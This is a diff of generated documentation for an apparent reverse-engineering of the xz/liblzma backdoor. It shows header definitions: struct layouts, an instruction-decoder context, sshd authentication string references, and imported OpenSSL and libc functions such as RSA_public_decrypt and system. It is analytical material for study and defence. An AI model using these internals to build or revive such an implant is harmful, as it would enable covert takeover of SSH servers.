diff --git a/xzre_8h.html b/xzre_8h.html index c2ee774..7ea9521 100644 --- a/xzre_8h.html +++ b/xzre_8h.html @@ -257,6 +257,9 @@ #define XZDASM_OPC(op)   ((u8)(op) - 0x80)   + +#define XZDASM_TEST_MASK(mask, offset, opcode)    (((mask >> ((u8)(XZDASM_OPC(opcode) + offset))) & 1) == 1) +  #define TRUE   1   @@ -480,10 +483,11 @@ enum  X86_OPCODE {
  X86_OPCODE_LEA = 0x8D , X86_OPCODE_CALL = 0xE8 +, X86_OPCODE_CMP = 0x3B , X86_OPCODE_MOV = 0x89 -, X86_OPCODE_MOV_LOAD = 0x8B ,
-  X86_OPCODE_MOV_STORE = 0x8C +  X86_OPCODE_MOV_LOAD = 0x8B +, X86_OPCODE_MOV_STORE = 0x8C
}   @@ -2261,7 +2265,7 @@

| (u32)(((mod) & 0xFF) << 8) \
| X86_MODRM_BYTE(mod, reg, rm) \
))
-
#define X86_MODRM_BYTE(mod, reg, rm)
Definition: xzre.h:683
+
#define X86_MODRM_BYTE(mod, reg, rm)
Definition: xzre.h:688

creates the backdoor's MOD.RM word (MOD.RM and its individual components)

diff --git a/xzre_8h_source.html b/xzre_8h_source.html index 5d718a8..e0ea9b4 100644 --- a/xzre_8h_source.html +++ b/xzre_8h_source.html @@ -326,2063 +326,2068 @@
304 enum X86_OPCODE {
305  X86_OPCODE_LEA = 0x8D,
306  X86_OPCODE_CALL = 0xE8,
-
307  // MOV r/m16/32/64 r16/32/64
-
308  X86_OPCODE_MOV = 0x89,
-
309  // MOV r16/32/64 r/m16/32/64
-
310  X86_OPCODE_MOV_LOAD = 0x8B,
-
311  // MOV m16 Sreg Move
-
312  // MOV r16/32/64 Sreg
-
313  X86_OPCODE_MOV_STORE = 0x8C
-
314 };
-
315 
-
316 enum X86_REG {
-
317  X86_REG_RBP = 5
-
318 };
-
319 
-
320 typedef int BOOL;
-
321 
-
322 #define TRUE 1
-
323 #define FALSE 0
+
307  // CMP r16/32/64 r/m16/32/64
+
308  X86_OPCODE_CMP = 0x3B,
+
309  // MOV r/m16/32/64 r16/32/64
+
310  X86_OPCODE_MOV = 0x89,
+
311  // MOV r16/32/64 r/m16/32/64
+
312  X86_OPCODE_MOV_LOAD = 0x8B,
+
313  // MOV m16 Sreg Move
+
314  // MOV r16/32/64 Sreg
+
315  X86_OPCODE_MOV_STORE = 0x8C
+
316 };
+
317 
+
318 #define XZDASM_TEST_MASK(mask, offset, opcode) \
+
319  (((mask >> ((u8)(XZDASM_OPC(opcode) + offset))) & 1) == 1)
+
320 
+
321 enum X86_REG {
+
322  X86_REG_RBP = 5
+
323 };
324 
-
325 typedef enum {
-
326  // has lock or rep prefix
-
327  DF1_LOCK_REP = 1,
-
328  //1 has segment override
-
329  DF1_SEG = 2,
-
330  //1 has operand size override
-
331  DF1_OSIZE = 4,
-
332  //1 has address size override
-
333  DF1_ASIZE = 8,
-
334  //1 vex instruction
-
335  DF1_VEX = 0x10,
-
336  //1 has rex
-
337  DF1_REX = 0x20,
-
338  //1 has modrm
-
339  DF1_MODRM = 0x40,
-
340  //1 has sib
-
341  DF1_SIB = 0x80
-
342 } InstructionFlags;
-
343 
-
344 typedef enum {
-
345  // memory with displacement
-
346  DF2_MEM_DISP = 0x1,
-
347  //2 8-bit displacement
-
348  DF2_MEM_DISP8 = 0x2,
-
349  //2 memory seg+offs (0xa0-0xa3)
-
350  DF2_MEM_SEG_OFFS = 0x4,
-
351 
-
352  // mask to check for memory flags
-
353  DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
-
354 
-
355  //2 has immediate
-
356  DF2_IMM = 0x8,
-
357  //2 64-bit immediate (movabs)
-
358  DF2_IMM64 = 0x10
-
359 } InstructionFlags2;
-
360 
-
361 typedef enum {
-
362  // ELF has JMPREL relocs
-
363  X_ELF_PLTREL = 0x1,
-
364  // ELF has RELA relocs
-
365  X_ELF_RELA = 0x2,
-
366  // ELF has RELR relocs
-
367  X_ELF_RELR = 0x4,
-
368  // ELF has DT_VERDEF
-
369  X_ELF_VERDEF = 0x8,
-
370  // ELF has DT_VERSYM
-
371  X_ELF_VERSYM = 0x10,
-
372  // ELF has DF_1_NOW
-
373  X_ELF_NOW = 0x20
-
374 } ElfFlags;
-
375 
-
376 typedef enum {
-
377  // register-indirect addressing or no displacement
-
378  MRM_I_REG, // 00
-
379  // indirect with one byte displacement
-
380  MRM_I_DISP1, // 01
-
381  // indirect with four byte displacement
-
382  MRM_I_DISP4, // 10
-
383  // direct-register addressing
-
384  MRM_D_REG // 11
-
385 } ModRm_Mod;
-
386 
-
387 typedef enum {
-
388  // find function beginning by looking for endbr64
-
389  FIND_ENDBR64,
-
390  // find function beginning by looking for padding,
-
391  // then getting the instruction after it
-
392  FIND_NOP
-
393 } FuncFindType;
-
394 
-
395 typedef enum {
- -
401  X_ELF_DYNAMIC_LINKER = 1,
-
402  X_ELF_LIBC = 2,
-
403  X_ELF_LIBCRYPTO = 3
-
404 } ElfId;
-
405 
-
406 typedef enum {
-
407  XREF_xcalloc_zero_size = 0,
-
408  XREF_Could_not_chdir_to_home_directory_s_s = 1,
-
409  XREF_list_hostkey_types = 2,
-
410  XREF_demote_sensitive_data = 3,
-
411  XREF_mm_terminate = 4,
-
412  XREF_mm_pty_allocate = 5,
-
413  XREF_mm_do_pam_account = 6,
-
414  XREF_mm_session_pty_cleanup2 = 7,
-
415  XREF_mm_getpwnamallow = 8,
-
416  XREF_mm_sshpam_init_ctx = 9,
-
417  XREF_mm_sshpam_query = 10,
-
418  XREF_mm_sshpam_respond = 11,
-
419  XREF_mm_sshpam_free_ctx = 12,
-
420  XREF_mm_choose_dh = 13,
-
421  XREF_sshpam_respond = 14,
-
422  XREF_sshpam_auth_passwd = 15,
-
423  XREF_sshpam_query = 16,
-
424  XREF_start_pam = 17,
-
425  XREF_mm_request_send = 18,
-
426  XREF_mm_log_handler = 19,
-
427  XREF_Could_not_get_agent_socket = 20,
-
428  XREF_auth_root_allowed = 21,
-
429  XREF_mm_answer_authpassword = 22,
-
430  XREF_mm_answer_keyallowed = 23,
-
431  XREF_mm_answer_keyverify = 24,
-
432  XREF_48s_48s_d_pid_ld_ = 25,
-
433  XREF_Unrecognized_internal_syslog_level_code_d = 26
-
434 } StringXrefId;
-
435 
-
436 typedef enum {
-
437  STR_from = 0x810,
-
438  STR_ssh2 = 0x678,
-
439  STR_48s_48s_d_pid_ld_ = 0xd8,
-
440  STR_s = 0x708,
-
441  STR_usr_sbin_sshd = 0x108,
-
442  STR_Accepted_password_for = 0x870,
-
443  STR_Accepted_publickey_for = 0x1a0,
-
444  STR_BN_bin2bn = 0xc40,
-
445  STR_BN_bn2bin = 0x6d0,
-
446  STR_BN_dup = 0x958,
-
447  STR_BN_free = 0x418,
-
448  STR_BN_num_bits = 0x4e0,
-
449  STR_Connection_closed_by = 0x790,
-
450  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
-
451  STR_Could_not_get_agent_socket = 0xb0,
-
452  STR_DISPLAY = 0x960,
-
453  STR_DSA_get0_pqg = 0x9d0,
-
454  STR_DSA_get0_pub_key = 0x468,
-
455  STR_EC_KEY_get0_group = 0x7e8,
-
456  STR_EC_KEY_get0_public_key = 0x268,
-
457  STR_EC_POINT_point2oct = 0x6e0,
-
458  STR_EVP_CIPHER_CTX_free = 0xb28,
-
459  STR_EVP_CIPHER_CTX_new = 0x838,
-
460  STR_EVP_DecryptFinal_ex = 0x2a8,
-
461  STR_EVP_DecryptInit_ex = 0xc08,
-
462  STR_EVP_DecryptUpdate = 0x3f0,
-
463  STR_EVP_Digest = 0xf8,
-
464  STR_EVP_DigestVerify = 0x408,
-
465  STR_EVP_DigestVerifyInit = 0x118,
-
466  STR_EVP_MD_CTX_free = 0xd10,
-
467  STR_EVP_MD_CTX_new = 0xaf8,
-
468  STR_EVP_PKEY_free = 0x6f8,
-
469  STR_EVP_PKEY_new_raw_public_key = 0x758,
-
470  STR_EVP_PKEY_set1_RSA = 0x510,
-
471  STR_EVP_chacha20 = 0xc28,
-
472  STR_EVP_sha256 = 0xc60,
-
473  STR_EVP_sm = 0x188,
-
474  STR_GLIBC_2_2_5 = 0x8c0,
-
475  STR_GLRO_dl_naudit_naudit = 0x6a8,
-
476  STR_KRB5CCNAME = 0x1e0,
-
477  STR_LD_AUDIT = 0xcf0,
-
478  STR_LD_BIND_NOT = 0xbc0,
-
479  STR_LD_DEBUG = 0xa90,
-
480  STR_LD_PROFILE = 0xb98,
-
481  STR_LD_USE_LOAD_BIAS = 0x3e0,
-
482  STR_LINES = 0xa88,
-
483  STR_RSA_free = 0xac0,
-
484  STR_RSA_get0_key = 0x798,
-
485  STR_RSA_new = 0x918,
-
486  STR_RSA_public_decrypt = 0x1d0,
-
487  STR_RSA_set0_key = 0x540,
-
488  STR_RSA_sign = 0x8f8,
-
489  STR_SSH_2_0 = 0x990,
-
490  STR_TERM = 0x4a8,
-
491  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
-
492  STR_WAYLAND_DISPLAY = 0x158,
-
493  STR_errno_location = 0x878,
-
494  STR_libc_stack_end = 0x2b0,
-
495  STR_libc_start_main = 0x228,
-
496  STR_dl_audit_preinit = 0xa60,
-
497  STR_dl_audit_symbind_alt = 0x9c8,
-
498  STR_exit = 0x8a8,
-
499  STR_r_debug = 0x5b0,
-
500  STR_rtld_global = 0x5b8,
-
501  STR_rtld_global_ro = 0xa98,
-
502  STR_auth_root_allowed = 0xb8,
-
503  STR_authenticating = 0x1d8,
-
504  STR_demote_sensitive_data = 0x28,
-
505  STR_getuid = 0x348,
-
506  STR_ld_linux_x86_64_so = 0xa48,
-
507  STR_libc_so = 0x7d0,
-
508  STR_libcrypto_so = 0x7c0,
-
509  STR_liblzma_so = 0x590,
-
510  STR_libsystemd_so = 0x938,
-
511  STR_list_hostkey_types = 0x20,
-
512  STR_malloc_usable_size = 0x440,
-
513  STR_mm_answer_authpassword = 0xc0,
-
514  STR_mm_answer_keyallowed = 0xc8,
-
515  STR_mm_answer_keyverify = 0xd0,
-
516  STR_mm_answer_pam_start = 0x948,
-
517  STR_mm_choose_dh = 0x78,
-
518  STR_mm_do_pam_account = 0x40,
-
519  STR_mm_getpwnamallow = 0x50,
-
520  STR_mm_log_handler = 0xa8,
-
521  STR_mm_pty_allocate = 0x38,
-
522  STR_mm_request_send = 0xa0,
-
523  STR_mm_session_pty_cleanup2 = 0x48,
-
524  STR_mm_sshpam_free_ctx = 0x70,
-
525  STR_mm_sshpam_init_ctx = 0x58,
-
526  STR_mm_sshpam_query = 0x60,
-
527  STR_mm_sshpam_respond = 0x68,
-
528  STR_mm_terminate = 0x30,
-
529  STR_parse_PAM = 0xc58,
-
530  STR_password = 0x400,
-
531  STR_preauth = 0x4f0,
-
532  STR_pselect = 0x690,
-
533  STR_publickey = 0x7b8,
-
534  STR_read = 0x308,
-
535  STR_rsa_sha2_256 = 0x710,
-
536  STR_setlogmask = 0x428,
-
537  STR_setresgid = 0x5f0,
-
538  STR_setresuid = 0xab8,
-
539  STR_shutdown = 0x760,
-
540  STR_ssh_2_0 = 0xd08,
-
541  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
-
542  STR_sshpam_auth_passwd = 0x88,
-
543  STR_sshpam_query = 0x90,
-
544  STR_sshpam_respond = 0x80,
-
545  STR_start_pam = 0x98,
-
546  STR_system = 0x9f8,
-
547  STR_unknown = 0x198,
-
548  STR_user = 0xb10,
-
549  STR_write = 0x380,
-
550  STR_xcalloc_zero_size = 0x10,
-
551  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
552  STR_ELF = 0x300,
-
553 } EncodedStringId;
-
554 
-
555 #ifndef XZRE_SLIM
-
556 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
557 #else
-
558 #define assert_offset(t, f, o)
-
559 #endif
-
560 
-
561 #define CONCAT(x, y) x ## y
-
562 #define EXPAND(x, y) CONCAT(x, y)
-
563 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
564 
-
565 struct sshbuf;
-
566 struct kex;
-
567 
-
568 /* permit_root_login */
-
569 #define PERMIT_NOT_SET -1
-
570 #define PERMIT_NO 0
-
571 #define PERMIT_FORCED_ONLY 1
-
572 #define PERMIT_NO_PASSWD 2
-
573 #define PERMIT_YES 3
-
574 
-
578 struct monitor {
-
579  int m_recvfd;
-
580  int m_sendfd;
-
581  int m_log_recvfd;
-
582  int m_log_sendfd;
-
583  struct kex **m_pkex;
-
584  pid_t m_pid;
-
585 };
-
586 
- -
591  struct sshkey **host_keys; /* all private host keys */
-
592  struct sshkey **host_pubkeys; /* all public host keys */
-
593  struct sshkey **host_certificates; /* all public host certificates */
-
594  int have_ssh2_key;
-
595 };
-
596 
-
601 struct sshkey {
-
602  int type;
-
603  int flags;
-
604  /* KEY_RSA */
-
605  RSA *rsa;
-
606  /* KEY_DSA */
-
607  DSA *dsa;
-
608  /* KEY_ECDSA and KEY_ECDSA_SK */
-
609  int ecdsa_nid; /* NID of curve */
-
610  EC_KEY *ecdsa;
-
611  /* KEY_ED25519 and KEY_ED25519_SK */
-
612  u8 *ed25519_sk;
-
613  u8 *ed25519_pk;
-
614  /* KEY_XMSS */
-
615  char *xmss_name;
-
616  char *xmss_filename; /* for state file updates */
-
617  void *xmss_state; /* depends on xmss_name, opaque */
-
618  u8 *xmss_sk;
-
619  u8 *xmss_pk;
-
620  /* KEY_ECDSA_SK and KEY_ED25519_SK */
-
621  char sk_application;
-
622  u8 sk_flags;
-
623  struct sshbuf *sk_key_handle;
-
624  struct sshbuf *sk_reserved;
-
625  /* Certificates */
-
626  struct sshkey_cert *cert;
-
627  /* Private key shielding */
-
628  u8 *shielded_private;
-
629  size_t shielded_len;
-
630  u8 *shield_prekey;
-
631  size_t shield_prekey_len;
-
632 };
-
633 
-
634 typedef struct __attribute__((packed)) got_ctx {
-
638  void *got_ptr;
- -
649  void *cpuid_fn;
-
654  ptrdiff_t got_offset;
-
655 } got_ctx_t;
-
656 
-
657 assert_offset(got_ctx_t, got_ptr, 0);
-
658 assert_offset(got_ctx_t, return_address, 0x8);
-
659 assert_offset(got_ctx_t, cpuid_fn, 0x10);
-
660 assert_offset(got_ctx_t, got_offset, 0x18);
-
661 static_assert(sizeof(got_ctx_t) == 0x20);
-
662 
-
663 typedef struct __attribute__((packed)) elf_entry_ctx {
-
668  void *symbol_ptr;
- - - -
675 
-
676 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
-
677 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
-
678 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
-
679 
-
683 #define X86_MODRM_BYTE(mod, reg, rm) \
-
684  ((u8)(0 \
-
685  | (u8)(((mod) & 3) << 6) \
-
686  | (u8)(((reg) & 7) << 3) \
-
687  | (u8)(((rm) & 7)) \
-
688  ))
-
689 
-
690 #define X86_REX_BYTE(w,r,x,b) \
-
691  ((u8)(0x40 \
-
692  | (u8)(((w) & 1) << 3) \
-
693  | (u8)(((r) & 1) << 2) \
-
694  | (u8)(((x) & 1) << 1) \
-
695  | (u8)(((b) & 1) << 0) \
-
696  ))
-
697 
-
698 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
-
699 
-
703 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
-
704  ((u32)(0 \
-
705  | (u32)(((rm) & 0xFF)<< 24) \
-
706  | (u32)(((reg) & 0xFF) << 16) \
-
707  | (u32)(((mod) & 0xFF) << 8) \
-
708  | X86_MODRM_BYTE(mod, reg, rm) \
-
709  ))
-
710 
-
711 enum dasm_modrm_mask {
-
712  XZ_MODRM_RM = 0xFF000000,
-
713  XZ_MODRM_REG = 0x00FF0000,
-
714  XZ_MODRM_MOD = 0x0000FF00,
-
715  XZ_MODRM_RAW = 0x000000FF
-
716 };
-
717 
-
718 typedef struct __attribute__((packed)) dasm_ctx {
-
719  u8* instruction;
-
720  u64 instruction_size;
-
721  union {
-
722  struct __attribute__((packed)) {
-
726  u8 flags;
-
730  u8 flags2;
-
731  PADDING(2);
-
732  u8 lock_rep_byte;
-
733  u8 seg_byte;
-
734  u8 osize_byte;
-
735  u8 asize_byte;
-
736  u8 vex_byte;
-
737  u8 vex_byte2;
-
738  u8 vex_byte3;
-
739  union {
-
740  struct __attribute__((packed)) {
-
741  u8 B : 1;
-
742  u8 X : 1;
-
743  u8 R : 1;
-
744  u8 W : 1;
-
745  u8 BitPattern : 4; // always 0100b
-
746  };
-
747  u8 rex_byte;
-
748  };
-
749  union {
-
750  // in little endian order
-
751  struct __attribute__((packed)) {
-
752  /* 3 */ u8 modrm;
-
753  /* 2 */ u8 modrm_mod;
-
754  /* 1 */ u8 modrm_reg;
-
755  /* 0 */ u8 modrm_rm;
-
756  };
-
757  u32 modrm_word;
-
758  };
-
759  };
-
760  u16 flags_u16;
-
761  };
-
762  u8 imm64_reg; // low 3 bits only
-
763  struct __attribute__((packed)) {
-
764  union {
-
765  struct __attribute__((packed)) {
-
766  u8 sib;
-
767  u8 sib_scale;
-
768  u8 sib_index;
-
769  u8 sib_base;
-
770  };
-
771  u32 sib_word;
-
772  };
-
773  };
-
774  PADDING(3);
-
775  u32 opcode;
-
776  PADDING(4);
-
777  u64 mem_disp;
-
778  // e.g. in CALL
-
779  u64 operand;
-
780  u64 operand_zeroextended;
-
781  u64 operand_size;
-
782  u8 insn_offset;
-
783  PADDING(7);
-
784 } dasm_ctx_t;
-
785 
-
786 assert_offset(dasm_ctx_t, instruction, 0);
-
787 assert_offset(dasm_ctx_t, instruction_size, 8);
-
788 assert_offset(dasm_ctx_t, flags, 0x10);
-
789 assert_offset(dasm_ctx_t, flags2, 0x11);
-
790 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
-
791 assert_offset(dasm_ctx_t, seg_byte, 0x15);
-
792 assert_offset(dasm_ctx_t, osize_byte, 0x16);
-
793 assert_offset(dasm_ctx_t, asize_byte, 0x17);
-
794 assert_offset(dasm_ctx_t, vex_byte, 0x18);
-
795 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
-
796 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
-
797 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
-
798 assert_offset(dasm_ctx_t, modrm, 0x1C);
-
799 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
-
800 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
-
801 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
-
802 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
-
803 assert_offset(dasm_ctx_t, sib, 0x21);
-
804 assert_offset(dasm_ctx_t, sib_scale, 0x22);
-
805 assert_offset(dasm_ctx_t, sib_index, 0x23);
-
806 assert_offset(dasm_ctx_t, sib_base, 0x24);
-
807 assert_offset(dasm_ctx_t, opcode, 0x28);
-
808 assert_offset(dasm_ctx_t, mem_disp, 0x30);
-
809 assert_offset(dasm_ctx_t, operand, 0x38);
-
810 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
-
811 assert_offset(dasm_ctx_t, operand_size, 0x48);
-
812 assert_offset(dasm_ctx_t, insn_offset, 0x50);
-
813 static_assert(sizeof(dasm_ctx_t) == 0x58);
-
814 
-
815 typedef struct __attribute__((packed)) elf_info {
-
819  Elf64_Ehdr *elfbase;
- -
827  Elf64_Phdr *phdrs;
-
831  u64 e_phnum;
-
835  Elf64_Dyn *dyn;
- -
843  char *strtab;
-
847  Elf64_Sym *symtab;
-
851  Elf64_Rela *plt_relocs;
- - - - -
873  Elf64_Verdef *verdef;
- -
878  Elf64_Versym *versym;
-
879  Elf64_Rela *rela_relocs;
-
880  u32 rela_relocs_num;
-
881  u32 _unused0;
-
882  Elf64_Relr *relr_relocs;
-
883  u32 relr_relocs_num;
-
884  PADDING(4);
- - -
895 
-
896  u64 rodata_segment_start;
-
897  u64 rodata_segment_size;
-
898  u64 data_segment_start;
-
899  u64 data_segment_size;
-
900  u64 data_segment_alignment;
-
901 
-
902  u8 flags;
-
903  PADDING(7);
- - -
912  u32 gnu_hash_bloom_shift;
-
913  PADDING(4);
-
914  u64 *gnu_hash_bloom;
-
915  u32 *gnu_hash_buckets;
-
916  u32 *gnu_hash_chain;
-
917 } elf_info_t;
-
918 
-
919 assert_offset(elf_info_t, elfbase, 0x0);
-
920 assert_offset(elf_info_t, first_vaddr, 0x8);
-
921 assert_offset(elf_info_t, phdrs, 0x10);
-
922 assert_offset(elf_info_t, e_phnum, 0x18);
-
923 assert_offset(elf_info_t, dyn, 0x20);
-
924 assert_offset(elf_info_t, dyn_num_entries, 0x28);
-
925 assert_offset(elf_info_t, strtab, 0x30);
-
926 assert_offset(elf_info_t, symtab, 0x38);
-
927 assert_offset(elf_info_t, plt_relocs, 0x40);
-
928 assert_offset(elf_info_t, plt_relocs_num, 0x48);
-
929 assert_offset(elf_info_t, gnurelro_found, 0x4C);
-
930 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
-
931 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
-
932 assert_offset(elf_info_t, verdef, 0x60);
-
933 assert_offset(elf_info_t, verdef_num, 0x68);
-
934 assert_offset(elf_info_t, versym, 0x70);
-
935 assert_offset(elf_info_t, rela_relocs, 0x78);
-
936 assert_offset(elf_info_t, rela_relocs_num, 0x80);
-
937 assert_offset(elf_info_t, relr_relocs, 0x88);
-
938 assert_offset(elf_info_t, relr_relocs_num, 0x90);
-
939 assert_offset(elf_info_t, code_segment_start, 0x98);
-
940 assert_offset(elf_info_t, code_segment_size, 0xA0);
-
941 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
-
942 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
-
943 assert_offset(elf_info_t, data_segment_start, 0xB8);
-
944 assert_offset(elf_info_t, data_segment_size, 0xC0);
-
945 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
-
946 assert_offset(elf_info_t, flags, 0xD0);
-
947 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
-
948 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
-
949 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
-
950 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
-
951 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
-
952 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
-
953 static_assert(sizeof(elf_info_t) == 0x100);
-
954 
-
955 typedef struct __attribute__((packed)) libc_imports {
-
956  u32 resolved_imports_count;
-
957  PADDING(4);
-
958  size_t (*malloc_usable_size)(void *ptr);
-
959  uid_t (*getuid)(void);
-
960  void (*exit)(int status);
-
961  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
-
962  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
-
963  int (*system)(const char *command);
-
964  ssize_t (*write)(int fd, const void *buf, size_t count);
-
965  int (*pselect)(
-
966  int nfds, fd_set *readfds, fd_set *writefds,
-
967  fd_set *exceptfds, const struct timespec *timeout,
-
968  const sigset_t *sigmask);
-
969  ssize_t (*read)(int fd, void *buf, size_t count);
-
970  int *(*__errno_location)(void);
-
971  int (*setlogmask)(int mask);
-
972  int (*shutdown)(int sockfd, int how);
-
973  void *__libc_stack_end;
- -
975 
-
976 assert_offset(libc_imports_t, resolved_imports_count, 0);
-
977 assert_offset(libc_imports_t, malloc_usable_size, 8);
-
978 assert_offset(libc_imports_t, getuid, 0x10);
-
979 assert_offset(libc_imports_t, exit, 0x18);
-
980 assert_offset(libc_imports_t, setresgid, 0x20);
-
981 assert_offset(libc_imports_t, setresuid, 0x28);
-
982 assert_offset(libc_imports_t, system, 0x30);
-
983 assert_offset(libc_imports_t, write, 0x38);
-
984 assert_offset(libc_imports_t, pselect, 0x40);
-
985 assert_offset(libc_imports_t, read, 0x48);
-
986 assert_offset(libc_imports_t, __errno_location, 0x50);
-
987 assert_offset(libc_imports_t, setlogmask, 0x58);
-
988 assert_offset(libc_imports_t, shutdown, 0x60);
-
989 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
-
990 static_assert(sizeof(libc_imports_t) == 0x70);
-
991 
-
992 typedef int (*pfn_RSA_public_decrypt_t)(
-
993  int flen, unsigned char *from, unsigned char *to,
-
994  RSA *rsa, int padding);
-
995 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
-
996 typedef void (*pfn_RSA_get0_key_t)(
-
997  const RSA *r,
-
998  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
-
999 
-
1000 typedef struct __attribute__((packed)) imported_funcs {
-
1001  pfn_RSA_public_decrypt_t RSA_public_decrypt;
-
1002  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
1003  // ???
-
1004  void (*RSA_get0_key_null)(
-
1005  const RSA *r, const BIGNUM **n,
-
1006  const BIGNUM **e, const BIGNUM **d);
- - - -
1022  void (*DSA_get0_pqg)(
-
1023  const DSA *d, const BIGNUM **p,
-
1024  const BIGNUM **q, const BIGNUM **g);
-
1025  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
-
1026  size_t (*EC_POINT_point2oct)(
-
1027  const EC_GROUP *group, const EC_POINT *p,
-
1028  point_conversion_form_t form, unsigned char *buf,
-
1029  size_t len, BN_CTX *ctx);
-
1030  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
-
1031  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
-
1032  EVP_MD *(*EVP_sha256)(void);
-
1033  pfn_RSA_get0_key_t RSA_get0_key;
-
1034  int (*BN_num_bits)(const BIGNUM *a);
-
1035  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
-
1036  int type, ENGINE *e,
-
1037  const unsigned char *key, size_t keylen);
-
1038  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
-
1039  int (*EVP_DigestVerifyInit)(
-
1040  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
-
1041  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
-
1042  int (*EVP_DigestVerify)(
-
1043  EVP_MD_CTX *ctx, const unsigned char *sig,
-
1044  size_t siglen, const unsigned char *tbs, size_t tbslen);
-
1045  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
-
1046  void (*EVP_PKEY_free)(EVP_PKEY *key);
-
1047  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
-
1048  int (*EVP_DecryptInit_ex)(
-
1049  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
-
1050  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
-
1051  int (*EVP_DecryptUpdate)(
-
1052  EVP_CIPHER_CTX *ctx, unsigned char *out,
-
1053  int *outl, const unsigned char *in, int inl);
-
1054  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
-
1055  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
-
1056  const EVP_CIPHER *(*EVP_chacha20)(void);
-
1057  RSA *(*RSA_new)(void);
-
1058  BIGNUM *(*BN_dup)(const BIGNUM *from);
-
1059  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
-
1060  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
1061  int (*EVP_Digest)(
-
1062  const void *data, size_t count, unsigned char *md,
-
1063  unsigned int *size, const EVP_MD *type, ENGINE *impl);
-
1064  int (*RSA_sign)(
-
1065  int type,
-
1066  const unsigned char *m, unsigned int m_len,
-
1067  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
-
1068  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
-
1069  void (*RSA_free)(RSA *rsa);
-
1070  void (*BN_free)(BIGNUM *a);
-
1071  libc_imports_t *libc;
-
1072  u32 resolved_imports_count;
-
1073  PADDING(4);
- -
1075 
-
1076 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
-
1077 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
-
1078 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
-
1079 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
-
1080 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
-
1081 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
-
1082 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
-
1083 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
-
1084 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
-
1085 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
-
1086 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
-
1087 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
-
1088 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
-
1089 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
-
1090 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
-
1091 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
-
1092 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
-
1093 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
-
1094 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
-
1095 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
-
1096 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
-
1097 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
-
